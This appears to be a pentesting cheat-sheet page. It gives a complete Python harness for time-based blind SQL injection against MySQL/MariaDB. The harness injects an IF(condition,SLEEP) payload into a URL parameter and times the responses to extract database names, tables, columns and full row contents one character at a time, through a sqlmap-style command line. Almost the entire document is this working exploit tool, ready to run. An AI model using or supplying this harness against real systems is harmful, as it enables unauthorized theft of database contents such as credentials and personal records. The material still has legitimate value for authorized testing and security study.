Time-Based Blind
MySQL time-based linear harness
Complete standalone file. Same linear dumping CLI as the boolean version, but the oracle reads response time from an IF(condition,SLEEP(DELAY),0) branch.
The example uses a query parameter sink; move the same payload string into headers, JSON, or form data as needed. The harness uses MySQL/MariaDB syntax throughout: LENGTH, SUBSTRING, ASCII, database(), information_schema, and LIMIT 1 OFFSET n.
import argparse
import string
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
DELAY = 5
THRESHOLD = 3
parser = argparse.ArgumentParser(
description="MySQL time-based blind SQL injection dumping harness.",
epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns-list", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
PROXY = PROXY.strip()
PROXIES = {
"http": PROXY,
"https": PROXY
}
else:
PROXIES = {}
URL = args.target.rstrip("/").strip()
def oracle(s, q):
payload = f"' AND IF(({q}),SLEEP({DELAY}),0) -- -"
try:
r = s.get(url=URL, params={"id": payload}, verify=False, timeout=DELAY + 5, proxies=PROXIES)
except Exception as e:
print(f"\n[-] request failed: {e}")
sys.exit(1)
return r.elapsed.total_seconds() > THRESHOLD
def get_count(s, query, label):
count = 0
while True:
print(f"\r[+] Bruteforcing {label}: {count}", end="", flush=True)
if oracle(s, f"({query})={count}"):
print(f"\n[+] {label}: {count}")
return count
count += 1
def get_length(s, expr, label):
length = 0
while True:
print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
if oracle(s, f"LENGTH(({expr}))={length}"):
print(f"\n[+] Length of {label}: {length}")
return length
length += 1
def dump_value(s, expr, label):
value = ""
length = get_length(s, expr, label)
for pos in range(1, length + 1):
matched = False
for ch in CHARSET:
print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
if oracle(s, f"ASCII(SUBSTRING(({expr}),{pos},1))={ord(ch)}"):
value += ch
matched = True
break
if not matched:
print(f"\n[-] Charset exhausted at position {pos} while dumping {label}")
sys.exit(1)
print(f"\n[+] {label}: {value}")
return value
def database_expr(position):
return f"SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET {position}"
def table_expr(database, position):
return f"SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' ORDER BY table_name LIMIT 1 OFFSET {position}"
def column_expr(database, table, position):
return f"SELECT column_name FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{table}' ORDER BY column_name LIMIT 1 OFFSET {position}"
def row_expr(table, column, position):
return f"SELECT CAST({column} AS CHAR) FROM {table} ORDER BY {column} LIMIT 1 OFFSET {position}"
if __name__ == "__main__":
s = requests.Session()
if args.current_db:
dump_value(s, "database()", "current database")
if args.databases:
database_count = get_count(s, "SELECT COUNT(*) FROM information_schema.schemata", "database count")
for pos in range(0, database_count):
dump_value(s, database_expr(pos), f"database {pos}")
database = args.database
if not database and (args.tables or args.columns or args.dump):
database = dump_value(s, "database()", "current database")
if args.tables:
table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{database}'", "table count")
for pos in range(0, table_count):
dump_value(s, table_expr(database, pos), f"table {pos}")
if args.columns:
if not args.table:
print("[-] --columns requires -T")
sys.exit(1)
column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{args.table}'", "column count")
for pos in range(0, column_count):
dump_value(s, column_expr(database, args.table, pos), f"column {pos}")
if args.dump:
if not args.table or not args.columns_list:
print("[-] --dump requires -T and -C")
sys.exit(1)
columns = []
for column in args.columns_list.split(","):
columns.append(column.strip())
row_count = get_count(s, f"SELECT COUNT(*) FROM {args.table}", "row count")
for pos in range(0, row_count):
for column in columns:
dump_value(s, row_expr(args.table, column, pos), f"{args.table}.{column} row {pos}")Find by: mysql, mariadb, time based blind sqli, sleep, if, length, substring, ascii, database, information_schema, limit offset, sqlmap style cli